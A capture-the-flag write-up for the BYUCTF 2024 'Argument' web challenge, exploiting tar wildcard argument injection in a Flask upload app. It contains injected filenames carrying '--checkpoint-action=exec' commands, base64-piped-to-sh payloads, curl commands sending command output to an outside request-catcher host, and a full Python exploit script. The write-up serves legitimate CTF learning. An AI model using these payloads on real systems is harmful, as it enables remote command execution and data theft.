BYUCTF2024 - Argument
On mai 2024, we paticipated to BYUCTF where we had the opportunity to work on this web challenge arround tar insecure use.
Argument
Description
The website is rather simple. It is composed of a unique page which is an upload form :
It allows you to upload any files without any restriction. Once you’ve uploaded one or more file, you can download them and the application returns the uploaded files in a .tar
archive.
The files are stored in /upload/<uuid>/<filename>
where <uuid>
acts as a sort of session identifier.
The sources of the app are provided so let’s dig a bit further in the underlying code.
Code review
Here is the source of the app :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# imports
from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
import uuid, os
# initialize flask
app = Flask(__name__)
# ensure each user has a uuid session
@app.before_request
def check_uuid():
uuid_cookie = request.cookies.get('uuid', None)
# ensure user has uuid_cookie
if uuid_cookie is None:
response = make_response(redirect('/'))
response.set_cookie('uuid', str(uuid.uuid4()))
return response
# ensure uuid_cookie is valid UUID
try:
uuid.UUID(uuid_cookie)
except ValueError:
response = make_response(redirect('/'))
response.set_cookie('uuid', str(uuid.uuid4()))
return response
g.uuid = uuid_cookie
if not os.path.exists(f'uploads/{g.uuid}'):
os.mkdir(f'uploads/{g.uuid}')
# main dashboard
@app.route('/', methods=['GET'])
def main():
return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
# upload file
@app.route('/api/upload', methods=['POST'])
def upload():
file = request.files.get('file', None)
if file is None:
return 'No file provided', 400
# check for path traversal
if '..' in file.filename or '/' in file.filename:
return 'Invalid file name', 400
# check file size
if len(file.read()) > 1000:
return 'File too large', 400
file.save(f'uploads/{g.uuid}/{file.filename}')
return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200
# download file
@app.route('/api/download', methods=['GET'])
def download():
@after_this_request
def remove_file(response):
os.system(f"rm -rf uploads/{g.uuid}/out.tar")
return response
# make a tar of all files
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
# send tar to user
return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=1337, threaded=True, debug=True)
The application runs on a simple Flask server in Python. With this in mind, it becomes clear why there aren’t any particular restrictions on the types of files accepted: without PHP, it won’t be possible to execute webshells and other scripts that we might have uploaded.
However, we can see that the /api/download
functionality uses os.system
to perform a wildcard tar
operation :
1
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
This takes every files within our upload folder and create a .tar
archive. tar wildcards is a well-known vector for arbitrary command execution. In fact, it is possible to supply arguments as filename and to execute arbitrary OS commands using the checkpoint arguments :
--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION
execute ACTION on each checkpoint
Looks like we’ve just found our entry point! Let’s see how we can exploit it.
Exploit
We tried at first to upload a bash script and to see if we could execute it to have a callback.
- upload a file named
--checkpoint=1
- upload a file named
--checkpoint-action=exec sh shell.sh
- upload the
shell.sh
script :
1
2
3
#!/bin/bash
curl -X POST -d 'Hello World!' https://happi.requestcatcher.com/test
We upload the various files and and then… TADA!
Shit, we didn’t get any callback, what the hell happened. Had to get back to source code to see what happened.
The challenge creator played a trick on us: the files are actually uploaded without their content as he used file = request.files.get('file', None)
instead of file = request.files[file]
. Our shell.sh
script is therefore empty !
What’s left then ? To deal with this, we tried to use bash commands directly in the filename. We try to upload a file with name --checksec-action=exec=sh curl -X POST -d 'Hello World!' https://happi.requestcatcher.com/test
directly and see if we can get a callback now.
Well, the answer is no :’)
If we look at the underlying request, we see that there is actually an issue with the filename.
By the way, it is not possible to use /
in the filename, and thus in our payload. It is therefore not possible to use commands such as cat /flag.txt
. Damn, that will makes things a bit harder.
A simple trick to circumvent this is to base64 encode the payload :
We encode our callback payload :
1
curl -X POST -d "$(id)" https://happi.requestcatcher.com/test
and this time, we finally get a callback !
We make a ls /
to retrieve the name of the flag file and then we make a cat
.
The flag is byuctf{argument_injection_stumped_me_the_most_at_D3FC0N_last_year}
!
Exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
from uuid import uuid4
import requests
import base64
import urllib3
urllib3.disable_warnings()
base_url = "https://argument.chal.cyberjousting.com"
# base_url = "http://127.0.0.1:1337"
routes = {
"home": f"{base_url}/",
"download": f"{base_url}/api/download",
"upload": f"{base_url}/api/upload"
}
class Exploit:
def __init__(self, s):
self.uuid = uuid4()
self.s = s
self.s.verify = False
self.s.proxies = {'http':'0.0.0.0:8080', 'https':'0.0.0.0:8080'}
self.routes = routes
self.s.get(self.routes['home'])
def download(self):
return self.s.get(self.routes["download"]).content.decode().strip().replace('\0', '')
def upload(self, filename, data):
files = {
'file': (filename, data, 'application/x-shellscript'),
}
try:
r = self.s.post(self.routes['upload'], files=files)
except err as e:
print("Something went wrong", e)
if __name__ == "__main__":
x = Exploit(requests.session())
cmd = b'ls /' # filename is: /flag_89bb6db3a579141b2cd5c7d01fedf863
cmd = b'cat /flag_89bb6db3a579141b2cd5c7d01fedf863'
payload = b'curl -X POST -d "$('
payload += cmd
payload += b')" https://happi.requestcatcher.com/test'
b64_payload = base64.b64encode(payload).decode().strip()
exploit = f'echo {b64_payload} | base64 -d | sh'
x.upload(filename="--checkpoint=1", data="")
x.upload(filename=f'--checkpoint-action=exec={exploit}', data="")
x.upload(filename="dummy", data="")
_ = x.download()
Thanks you for reading, i want to extend a huge thank to the CTF organizers for putting together this nice event.
Happi